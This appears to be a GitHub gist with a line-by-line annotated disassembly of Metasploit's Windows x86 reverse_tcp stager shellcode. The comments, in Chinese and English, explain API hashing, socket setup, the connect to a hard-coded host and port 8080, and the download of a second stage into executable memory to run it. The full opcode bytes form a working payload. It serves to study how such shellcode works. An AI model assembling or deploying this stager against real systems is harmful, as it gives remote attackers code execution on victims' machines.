Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save wonderkun/65c6f989d58f5276e9040376efb4c013 to your computer and use it in GitHub Desktop.
Save wonderkun/65c6f989d58f5276e9040376efb4c013 to your computer and use it in GitHub Desktop.
; reverse_tcp shellcode: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_tcp.rb
; https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/stager/stager_reverse_tcp_nx.asm
; https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm
; https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_recv.asm
; asm_block_api for windows x86: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/block_api.rb
; https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm
; hash算法&预定义好的各种函数的hash值: https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/hash.py
; PE结构: https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format
;《0day安全:软件漏洞分析技术》92页
; https://blog.cobaltstrike.com/2014/02/12/modifying-metasploits-stager-shellcode/
; linux/x86/meterpreter/reverse_tcp shellcode analysis https://whitedome.com.au/re4son/slae-5-1-linuxx86meterpreterreverse_tcp-shellcode-analysis/
0: fc cld ; clear DF, DF = 0
; 注意先将标志DF清零。因为当shellcode 是利用异常处理
; 机制而植入的时候,往往会产生标志位的变化,使shellcode 中的字串处理方向发生变化而产生
; 错误(如指令LODSD)。如果您在堆溢出利用中发现原本身经百战的shellcode 在运行时出错,
; 很可能就是这个原因。总之,一个字节的指令可以大大增加shellcode 的通用性。
1: e8 82 00 00 00 call 0x88
; --------------------- find and call API according to hash(module_name, api_name) ---------------------
; arg0: hash of module_name + api_name
; arg1: api's arg0
; arg2: api's arg1
; ......
6: 60 pusha
7: 89 e5 mov ebp,esp ; 开辟栈空间
9: 31 c0 xor eax,eax ; eax = 0
b: 64 8b 50 30 mov edx,DWORD PTR fs:[eax+0x30] ; edx = address of PEB
f: 8b 52 0c mov edx,DWORD PTR [edx+0xc] ; edx = address of PEB->PEB_LDR_DATA
12: 8b 52 14 mov edx,DWORD PTR [edx+0x14] ; edx = PEB->PEB_LDR_DATA->InMemoryOrderModuleList->Flink (指向第一个_LDR_DATA_TABLE_ENTRY结构体的InMemoryOrderLinks)
15: 8b 72 28 mov esi,DWORD PTR [edx+0x28] ; ((_UNICODE_STRING)BaseDllName)->Buffer 模块名
18: 0f b7 4a 26 movzx ecx,WORD PTR [edx+0x26] ; ((_UNICODE_STRING)BaseDllName)->MaximumLength (Buffer长度)
1c: 31 ff xor edi,edi ; edi = 0
1e: ac lods al,BYTE PTR ds:[esi] ; 将模块名的第一个字节取出放入al (lods 取字符串元素指令), esi + 1
1f: 3c 61 cmp al,0x61 ; 判断字母范围去掉模块名是大写还是小写
21: 7c 02 jl 0x25
23: 2c 20 sub al,0x20 ; al = al - 0x20, 将字母转换为大写
25: c1 cf 0d ror edi,0xd ; edi = edi >> 13
28: 01 c7 add edi,eax ; edi = edi + al
2a: e2 f2 loop 0x1e ; Hash算法计算模块名hash
; edi = 模块名hash值
2c: 52 push edx ; 保存当前_LDR_DATA_TABLE_ENTRY地址+0x8
2d: 57 push edi ; 保存模块hash值
2e: 8b 52 10 mov edx,DWORD PTR [edx+0x10] ; edx = _LDR_DATA_TABLE_ENTRY->DllBase(PE加载基址)
31: 8b 4a 3c mov ecx,DWORD PTR [edx+0x3c] ; ecx = IMAGE_NT_HEADERS 相对偏移
34: 8b 4c 11 78 mov ecx,DWORD PTR [ecx+edx*1+0x78]; dt -b ntdll!_IMAGE_NT_HEADERS ecx+edx
; 偏移0x78的位置为 DataDirectory[0] =IMAGE_EXPORT_DIRECTORY相对偏移
38: e3 48 jecxz 0x82 ; jump if ecx == 0 , ecx == 0表示没有导出表,则edx指向下一个_LDR_DATA_TABLE_ENTRY
3a: 01 d1 add ecx,edx ; ecx = IMAGE_EXPORT_DIRECTORY绝对地址
3c: 51 push ecx ; 保存IMAGE_EXPORT_DIRECTORY的绝对地址
3d: 8b 59 20 mov ebx,DWORD PTR [ecx+0x20] ; WinDbg里并没有IMAGE_EXPORT_DIRECTORY的定义, msdn和网上都可以找到结构体定义
; https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format#export-directory-table
; https://www.pinvoke.net/default.aspx/Structures.IMAGE_EXPORT_DIRECTORY
; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfNames(address of funcion name string array) 相当于模块加载基址的偏移
40: 01 d3 add ebx,edx ; ebx = address of function name string array 的绝对地址
42: 8b 49 18 mov ecx,DWORD PTR [ecx+0x18] ; ecx = IMAGE_EXPORT_DIRECTORY->NumberOfNames 导出表中函数的个数
45: e3 3a jecxz 0x81 ; 遍历完function name之后切换到下一个模块
47: 49 dec ecx ; 从后往前遍历
48: 8b 34 8b mov esi,DWORD PTR [ebx+ecx*4] ; 某个函数名称的地址相对于模块基址的偏移
4b: 01 d6 add esi,edx ; esi = 导出函数名称的绝对地址
4d: 31 ff xor edi,edi ; edi = 0
4f: ac lods al,BYTE PTR ds:[esi] ; 将函数名的第一个字节取出放入al, esi + 1
50: c1 cf 0d ror edi,0xd ; edi = edi >> 13
53: 01 c7 add edi,eax ; edi = edi + eax
55: 38 e0 cmp al,ah ; if al != 0
57: 75 f6 jne 0x4f ; jmp 0x4f
; edi = 函数名hash
59: 03 7d f8 add edi,DWORD PTR [ebp-0x8] ; edi = 函数名hash + 当前模块hash
5c: 3b 7d 24 cmp edi,DWORD PTR [ebp+0x24] ; 与call 0x6时push的hash是否相同
5f: 75 e4 jne 0x45 ; 如果不同,继续遍历导出函数名称并计算Hash
61: 58 pop eax ; eax = IMAGE_EXPORT_DIRECTORY绝对地址
62: 8b 58 24 mov ebx,DWORD PTR [eax+0x24] ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals 相对地址
65: 01 d3 add ebx,edx ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals 绝对地址
67: 66 8b 0c 4b mov cx,WORD PTR [ebx+ecx*2] ; export-ordinal-table 一个编号占两个字节 https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format#export-ordinal-table
; cx = 要寻找的函数编号
6b: 8b 58 1c mov ebx,DWORD PTR [eax+0x1c] ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfFunctions 相对地址
6e: 01 d3 add ebx,edx ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfFunctions 绝对地址
70: 8b 04 8b mov eax,DWORD PTR [ebx+ecx*4] ; eax = 要寻找的函数的相对地址
73: 01 d0 add eax,edx ; eax = 要寻找的函数的绝对地址
75: 89 44 24 24 mov DWORD PTR [esp+0x24],eax ; 修改掉pushad压到栈里的eax值,在popad的时候就可以直接令eax=要寻找的函数的绝对地址
79: 5b pop ebx ; 恢复栈平衡
7a: 5b pop ebx ; 恢复栈平衡
7b: 61 popa ; 恢复寄存器状态
; eax = 要寻找的函数的绝对地址
7c: 59 pop ecx ; pop ret addr
7d: 5a pop edx ; pop hash
7e: 51 push ecx ; push ret addr
7f: ff e0 jmp eax ; call api 调用函数
81: 5f pop edi
82: 5f pop edi ; 如果没有导出表
83: 5a pop edx
84: 8b 12 mov edx,DWORD PTR [edx] ; 获得下一个模块地址
86: eb 8d jmp 0x15
; ------------------------------------------------------------------------------
; --------------------- LoadLibraryA() ---------------------
88: 5d pop ebp ; ebp = shellcode + 0x6, get shellcode's address
89: 68 33 32 00 00 push 0x3233
8e: 68 77 73 32 5f push 0x5f327377 ; ASCII "ws2_32"
93: 54 push esp ; push LoadLibraryA的第一个参数
94: 68 4c 77 26 07 push 0x726774c ; hash kernel32.dll!LoadLibraryA
99: 89 e8 mov eax,ebp
9b: ff d0 call eax ; call shellcode + 0x6
; --------------------- WSAStartup(0x0190, &WSAData) ---------------------
; int WSAStartup(
; __in WORD wVersionRequested,
; __out LPWSADATA lpWSAData
; );
; --------------------------------------------------------
9d: b8 90 01 00 00 mov eax,0x190 ; EAX = sizeof( struct WSAData )
a2: 29 c4 sub esp,eax ; 开辟栈空间
a4: 54 push esp ; lpWSAData
a5: 50 push eax ; wVersionRequired
; Winsock DLL会检查wVersionRequested参数中传递的应用程序所请求的Windows套接字规范的版本
; 如果应用程序请求的版本等于或高于Winsock DLL支持的最低版本,则调用成功,
a6: 68 29 80 6b 00 push 0x6b8029 ; ws2_32.dll!WSAStartup
ab: ff d5 call ebp ; call shellcode + 0x6
; --------------------- WSASocketA(AF_INET 0x2, SOCK_STREAM 0x1, 0, 0, 0, 0) ---------------------
; SOCKET WSAAPI WSASocketA(
; int af,
; int type,
; int protocol,
; LPWSAPROTOCOL_INFOA lpProtocolInfo,
; GROUP g,
; DWORD dwFlags
; );
; --------------------------------------------------------
ad: 6a 0a push 0xa ; 重试次数
af: 68 2f 5f 73 01 push 0x1735f2f ; host in little-endian format
b4: 68 02 00 11 5c push 0x901f0002 ; family AF_INET and port number 8080
b9: 89 e6 mov esi,esp ; save pointer to sockaddr struct
bb: 50 push eax ; push 0 如果WSAStartup成功,eax=0
bc: 50 push eax ; push 0
bd: 50 push eax ; push 0
be: 50 push eax ; push 0
bf: 40 inc eax
c0: 50 push eax ; push SOCK_STREAM 0x1
c1: 40 inc eax
c2: 50 push eax ; push AF_INET 0x2
c3: 68 ea 0f df e0 push 0xe0df0fea ; ws2_32.dll!WSASocketA
c8: ff d5 call ebp ; call shellcode + 0x6
ca: 97 xchg edi,eax ; edi <=> eax
; --------------------- connect() ---------------------
; int WSAAPI connect(
; SOCKET s,
; const sockaddr *name,
; int namelen
; );
; --------------------------------------------------------
cb: 6a 10 push 0x10 ; sizeof SOCKADDR_IN
cd: 56 push esi ; SOCKADDR_IN
ce: 57 push edi ; SOCKET 0x2
cf: 68 99 a5 74 61 push 0x6174a599 ; ws2_32.dll!connect
d4: ff d5 call ebp ; call shellcode + 0x6
; --------------------- recv() ---------------------
; int recv(
; SOCKET s,
; char *buf,
; int len,
; int flags
; );
; --------------------------------------------------------
d6: 85 c0 test eax,eax
d8: 74 0a je 0xe4 ; if connect return 0, call recv
da: ff 4e 08 dec DWORD PTR [esi+0x8]
dd: 75 ec jne 0xcb ; goto connect() 重新尝试连接服务端
df: e8 67 00 00 00 call 0x14b ; call ExitProcess
e4: 6a 00 push 0x0 ; recv flags = 0
e6: 6a 04 push 0x4 ; recvBufferLen
e8: 56 push esi ; recvBuffer
e9: 57 push edi ; SOCKET
ea: 68 02 d9 c8 5f push 0x5fc8d902 ; ws2_32.dll!recv
ef: ff d5 call ebp ; call shellcode + 0x6
; --------------------- VirtualAlloc() ---------------------
; LPVOID WINAPI VirtualAlloc(
; _In_opt_ LPVOID lpAddress,
; _In_ SIZE_T dwSize,
; _In_ DWORD flAllocationType,
; _In_ DWORD flProtect
; );
; --------------------------------------------------------
f1: 83 f8 00 cmp eax,0x0
f4: 7e 36 jle 0x12c ; if recv 返回值小于等于0 , goto closesocket
f6: 8b 36 mov esi,DWORD PTR [esi]
f8: 6a 40 push 0x40 ; flProtect = PAGE_EXECUTE_READWRITE
fa: 68 00 10 00 00 push 0x1000 ; flAllocationType = MEM_COMMIT
ff: 56 push esi ; dwSize
100: 6a 00 push 0x0 ; lpAddress 如果此参数为 NULL,则系统确定分配区域的位置。
102: 68 58 a4 53 e5 push 0xe553a458 ; kernel32.dll!VirtualAlloc
107: ff d5 call ebp ; call shellcode + 0x6
; --------------------- recv() ---------------------
; int recv(
; SOCKET s,
; char *buf,
; int len,
; int flags
; );
; --------------------------------------------------------
109: 93 xchg ebx,eax ; ebx = VirtualAlloc's ret value
10a: 53 push ebx
10b: 6a 00 push 0x0 ; flags
10d: 56 push esi ; buf len
10e: 53 push ebx ; buf
10f: 57 push edi ; SOCKET
110: 68 02 d9 c8 5f push 0x5fc8d902 ; ws2_32.dll!recv
115: ff d5 call ebp ; call shellcode + 0x6
; --------------------- VirtualFree() ---------------------
; BOOL WINAPI VirtualFree(
; _In_ LPVOID lpAddress,
; _In_ SIZE_T dwSize,
; _In_ DWORD dwFreeType
; );
; --------------------------------------------------------
117: 83 f8 00 cmp eax,0x0
11a: 7d 28 jge 0x144
11c: 58 pop eax ; eax = VirtualAlloc's ret value
11d: 68 00 40 00 00 push 0x4000 ; MEM_DECOMMIT
122: 6a 00 push 0x0 ; Free由VirtualAlloc申请的内存空间
124: 50 push eax ; lpAddress = VirtualAlloc's ret value
125: 68 0b 2f 0f 30 push 0x300f2f0b ; hash kernel32.dll!VirtualFree
12a: ff d5 call ebp ; call shellcode + 0x6
; --------------------- closesocket() ---------------------
; int closesocket(
; IN SOCKET s
; );
; --------------------------------------------------------
12c: 57 push edi
12d: 68 75 6e 4d 61 push 0x614d6e75 ; hash ws2_32.dll!closesocket
132: ff d5 call ebp ; call shellcode + 0x6
134: 5e pop esi
135: 5e pop esi
136: ff 0c 24 dec DWORD PTR [esp]
139: 0f 85 70 ff ff ff jne 0xaf
13f: e9 9b ff ff ff jmp 0xdf ; ExitProcess
; ----------------------- exec shellcode ---------------------------------
144: 01 c3 add ebx,eax
146: 29 c6 sub esi,eax
148: 75 c1 jne 0x10b
14a: c3 ret ; exec stage 2 shellcode
; --------------------- ExitProcess() ---------------------
14b: bb f0 b5 a2 56 mov ebx,0x56a2b5f0 ; hash kernel32.dll!ExitProcess
150: 6a 00 push 0x0
152: 53 push ebx
153: ff d5 call ebp ; call shellcode + 0x6
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment